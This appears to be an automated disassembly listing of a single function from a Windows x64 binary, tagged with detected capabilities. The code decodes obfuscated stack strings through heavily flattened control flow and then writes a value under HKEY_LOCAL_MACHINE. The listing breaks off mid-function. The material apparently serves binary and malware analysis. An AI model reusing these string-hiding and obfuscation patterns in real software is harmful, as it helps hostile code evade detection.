Function at 0x1401016f0
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140236800]
xor rax, rsp
mov qword [rbp + 0x58], rax
mov rdi, rdx
mov r15, rcx
mov dword [rsp + 0x60], 0x5749506b
mov dword [rsp + 0x64], 0x94724049
mov dword [rsp + 0x68], 0x4e40435d
mov dword [rsp + 0x6c], 0x588d415a
mov dword [rsp + 0x70], 0x5c58455e
mov dword [rsp + 0x74], 0x4b5b7650
mov dword [rsp + 0x78], 0x515f7264
mov dword [rsp + 0x7c], 0xa29da4b2
mov word [rbp - 0x80], 0x9dab
mov byte [rbp - 0x7e], Ordinal_60
xorps xmm0, xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movabs rsi, 0xa26aa3c4a1ed7e4
movabs r14, 0x8be3ef2f4ab2e3bc
movabs r12, 0x4efbf1c58df9d464
movabs r13, 0xfdc69fe33d031544
movzx ebx, byte [rbp + 0x30]
mov r9, qword [0x14023d108]
mov r10, qword [0x14023d100]
nop
xor r11d, r11d
movabs rcx, 0x6349463e2237842c
movabs rax, 0x1e73feb4de5c87ac
cmp r11, 0x43
jae 0x140101e04
movzx r8d, byte [rsp + r11 + 0x60]
cmp r9, r11
ja 0x140101dfb
lea rdx, [r10 + 1]
cmp r9, rdx
jae 0x140101810
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x3c
lea rax, [rdx + 1]
movabs rcx, 0x6349463e2237842c
jmp 0x140101823
je 0x140101da5
lea rax, [rdx + 1]
cmp r9, rax
je 0x140101d4a
cmp r10, r11
ja 0x140101df2
cmp r9, rdx
jae 0x140101855
movabs rcx, 0xd52bf6f21487b5b4
add rcx, r11
movzx eax, cl
and al, r8b
mov edx, 0xa
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r8b
jmp 0x140101890
je 0x140101d05
cmp r9, rax
je 0x140101cde
lea rax, [r10 + 5]
cmp r9, rax
je 0x140101cad
lea rax, [r10 + 3]
cmp r9, rax
je 0x140101c6f
lea rax, [r10 + 8]
cmp r9, rax
je 0x140101c46
nop dword [rax + rax]
lea rax, [r10 + r9]
cmp rax, r11
jbe 0x140101934
nop dword [rax]
lea rax, [r10 + 0x28]
cmp r9, rax
je 0x140101916
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x1401018a0
lea r9, [rax + 0xc2]
cmp rax, r9
jb 0x140101dd2
lea r10, [r9 + 0x61]
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x1401018fb
lea rax, [r10 + 5]
cmp r9, rax
ja 0x1401018e1
mov r9, rax
lea r10, [rax + 5]
jmp 0x1401018a0
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140101d68
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140101dbb
lea edx, [r11 - 8]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140101d23
lea rax, [r10 + 0x10]
cmp r9, rax
jae 0x1401019e1
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
lea rax, [r10 + r9]
cmp rax, 0x400
je 0x140101c2e
lea rax, [r10 + 0x400]
cmp r9, rax
jbe 0x140101aa6
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
cmp r9, 3
jae 0x140101beb
lea rax, [r10 + 3]
cmp r9, rax
jbe 0x140101b71
lea ecx, [r11 + 8]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 0x28
jb 0x140101bde
lea ecx, [r11 - 0x28]
movzx eax, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140101d23
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140101a05
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140101dbb
inc rax
cmp r9, rax
jne 0x140101a2b
lea edx, [r11 - 8]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140101c83
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140101a4e
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140101c07
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140101a7b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
dec r11
inc r11
jmp 0x1401017b3
lea rax, [r10 + 8]
cmp r9, rax
jne 0x140101956
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140101d23
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140101acd
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140101d23
inc rax
cmp r9, rax
jne 0x140101af9
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
dec r11
inc r11
jmp 0x1401017b3
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140101b23
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r9, r10
jmp 0x140101cc6
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140101b4a
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140101c83
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14010198b
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140101d68
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140101b95
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140101dbb
inc rax
cmp r9, rax
jne 0x140101bb7
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140101d68
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1401019b7
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140101cc6
mov byte [rsp + r11 + 0x60], bl
inc r11
jmp 0x1401017b3
lea edx, [r11 - 0x60]
movzx eax, dl
and al, r8b
add al, al
movzx ebx, byte [rsp + r11 + 0x60]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
lea ecx, [r11 - 0x7c]
movzx eax, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, bl
mov byte [rsp + r11 + 0x60], dl
add r9, r10
jmp 0x140101cc6
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140101c83
lea rcx, [r11 + r14]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
movzx eax, byte [rsp + r11 + 0x60]
add rax, r10
add r11, rax
inc r11
jmp 0x1401017b3
add rcx, r11
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x14
add cl, r8b
movzx eax, cl
mov byte [rsp + r11 + 0x60], al
inc r10
add rax, r10
sub r11, rax
jmp 0x140101d68
lea rcx, [r11 + r12]
movzx eax, cl
and al, r8b
mov edx, Ordinal_35
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r8b
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401017b3
lea rcx, [r11 + r13]
movzx eax, cl
and al, r8b
mov edx, reloc.WS2_32.dll_select
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r8b
inc r10
dec r11
inc r11
jmp 0x1401017b3
movabs rcx, 0xe9794b6aa8c5657c
add rcx, r11
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x24
add cl, r8b
mov byte [rsp + r11 + 0x60], cl
inc r10
dec r11
inc r11
jmp 0x1401017b3
movabs rcx, 0x32c1532d729a3774
add rcx, r11
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rsp + r11 + 0x60], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rsp + r11 + 0x60]
add rax, r10
add r11, rax
inc r11
jmp 0x1401017b3
lea rcx, [r11 + rax]
movzx eax, cl
and al, r8b
mov edx, Ordinal_41
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r8b
movzx eax, byte [rsp + r11 + 0x60]
add rax, r10
add r11, rax
inc r11
jmp 0x1401017b3
sub r11b, 0x54
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r8b
jmp 0x1401017a1
lea rbx, [rbp + 0x1790c90]
jmp 0x140101e09
lea rbx, [rbp + 0x117e474]
jmp 0x140101e09
lea rbx, [rsp + 0x60]
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.1400029d0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140101e20
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140004440
nop
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.1400030d0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140104b92
mov byte [rbp + 0x31], 1
mov dword [rbp - 0x28], 0x8692a478
mov byte [rbp - 0x24], reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x23], xmm0
mov qword [rbp - 0x13], rax
mov dword [rbp - 0xb], eax
mov word [rbp - 7], ax
movabs r14, 0xd249cc65de18d886
movabs r13, 0xc00496c912adebaa
movabs r12, 0x76dd65319a4a8992
movzx r10d, byte [rbp + 0x30]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140102955
movzx ebx, byte [rbp + rdi - 0x28]
mov r11, rbx
cmp r8, rdi
ja 0x14010294c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140101f00
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x56
jmp 0x140101f40
je 0x1401028da
inc rax
cmp r8, rax
je 0x14010285e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010282e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010280a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401027c3
nop dword [rax]
cmp r9, rdi
ja 0x140102943
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140101f6d
lea edx, [rdi - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140101fa0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401027a8
inc rax
cmp r8, rax
je 0x140102781
lea rax, [r9 + 5]
cmp r8, rax
je 0x140102763
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010274a
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140102494
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140102472
lea rax, [r9 + 4]
cmp r8, rax
je 0x140102450
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010242c
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010240d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401023f4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401023d6
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401023bc
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010239f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140102373
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140101fb0
lea r8, [r9 + 3]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140102923
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140102908
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14010217a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14010215c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140102143
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140102324
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401022da
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140102299
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140101fb0
lea r8, [r9 + 5]
lea r9, [r8 + 9]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14010226d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140102250
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140102235
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14010221c
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140102200
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1401021dc
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401021ba
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x140102198
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140101fb0
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x140101fb0
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x140101fa0
lea edx, [rdi - 0x4a]
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140101f40
lea edx, [rdi - 0x56]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140101ed1
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx r11d, dil
jmp 0x1401027e1
lea ecx, [rdi - 0x1c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x3c
inc r9
dec rdi
inc rdi
jmp 0x140101ec2
lea edx, [rdi - 0x28]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x140101ec2
lea edx, [rdi - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
movzx r11d, dil
jmp 0x140102701
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
jmp 0x140102842
lea edx, [rdi - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14010287a
lea edx, [rdi - 0x64]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x44
add r10b, dl
jmp 0x14010289e
lea edx, [rdi - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4a
cmp r9, 9
jb 0x1401026d8
movzx r11d, dil
lea edx, [r11 + 0x64]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x78]
jmp 0x1401027e1
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 6
jae 0x1401026e5
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14010262b
lea edx, [rdi - 0x14]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x74
add r10b, dl
jmp 0x1401022ad
lea edx, [rdi - 0x32]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 4
je 0x14010272b
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14010255d
lea edx, [rdi - 0x12]
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1401022f3
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x14010289e
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 4
jmp 0x14010287a
lea edx, [rdi - 0x30]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140102845
lea ecx, [rdi - 0x3c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5c
jmp 0x140102842
movzx r11d, dil
lea edx, [r11 - 0x48]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 8
jmp 0x140102704
lea edx, [rdi - 0x54]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x140101ec2
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140101ec2
movzx r11d, dil
lea edx, [r11 - 0x6c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x1401027e1
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1401024af
lea edx, [rdi - 0x7a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
jmp 0x140102331
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401024e4
lea edx, [rdi - 4]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
inc rax
cmp r8, rax
jne 0x140102505
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x14010289e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010252c
lea edx, [rdi + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14010287d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010233d
lea edx, [rdi + 0x44]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x140101ec2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140102589
movzx r11d, dil
lea edx, [r11 - 6]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1401027e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401025b1
lea ecx, [rdi + 0x12]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x7e
dec rdi
inc rdi
jmp 0x140101ec2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401025d3
lea ecx, [rdi + 0x2a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x26
jmp 0x140102842
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401025f7
lea edx, [rdi + 0x42]
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14010287a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401022f3
lea ecx, [rdi + 0x5a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x76
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140102660
lea edx, [rdi - 8]
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
inc rax
cmp r8, rax
jne 0x140102682
lea edx, [rdi + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x70
jmp 0x14010287a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401026a9
lea edx, [rdi + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140102845
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401022ad
lea ecx, [rdi + 0x4c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x14
inc r9
dec rdi
inc rdi
jmp 0x140101ec2
mov byte [rbp + rdi - 0x28], r10b
inc rdi
jmp 0x140101ec2
movzx r11d, dil
lea edx, [r11 + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + rdi - 0x28]
sub r10b, al
sub r10b, 0x10
add r10b, bl
add r10b, dl
sub r11b, 0xa
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rbp + rdi - 0x28], cl
jmp 0x140102842
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + rdi - 0x28]
sub r10b, 0x64
jmp 0x14010287a
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
jmp 0x14010287d
lea edx, [rdi + 0x46]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140102845
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x140101ec2
movzx r11d, dil
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
jmp 0x1401027e1
movzx r11d, dil
lea edx, [r11 - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
sub r11b, 0x16
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x66
add r11b, bl
mov byte [rbp + rdi - 0x28], r11b
inc r9
dec rdi
inc rdi
jmp 0x140101ec2
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x140101ec2
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140101ec2
lea rdx, [rdi + r13]
movzx ebx, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xe
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x28], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x28], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
lea rcx, [rdi + r12]
movzx eax, cl
and al, r11b
mov edx, 1
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101ec2
sub dil, 0x62
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 0x52
jmp 0x140101ec0
sub dil, 0x6e
movzx eax, bl
and al, dil
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dil
jmp 0x140101eb0
lea rdx, [rbp + 0x17179e0]
jmp 0x140102959
lea rdx, [rbp + 0x14a5266]
jmp 0x140102959
lea rdx, [rbp - 0x28]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104b92
mov byte [rbp + 0x32], 3
mov dword [rsp + 0x30], 0xe2e2e319
mov dword [rsp + 0x34], 0xe9ed10e0
mov dword [rsp + 0x38], 0xefe9ebe2
mov byte [rsp + 0x3c], 0x5a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x4d], eax
mov word [rsp + 0x51], ax
movabs r12, 0xac23fc9aaad1ebf3
movabs r13, 0xd43e17001614b8b
movzx ebx, byte [rbp + 0x30]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor r14d, r14d
cmp r14, 0x23
jae 0x140103410
movzx esi, byte [rsp + r14 + 0x30]
mov rdx, rsi
cmp r8, r14
ja 0x140103407
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140102a21
lea rcx, [r14 + r12]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x5b
jmp 0x140102a60
je 0x140103396
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010330e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401032e3
lea rax, [r9 + 5]
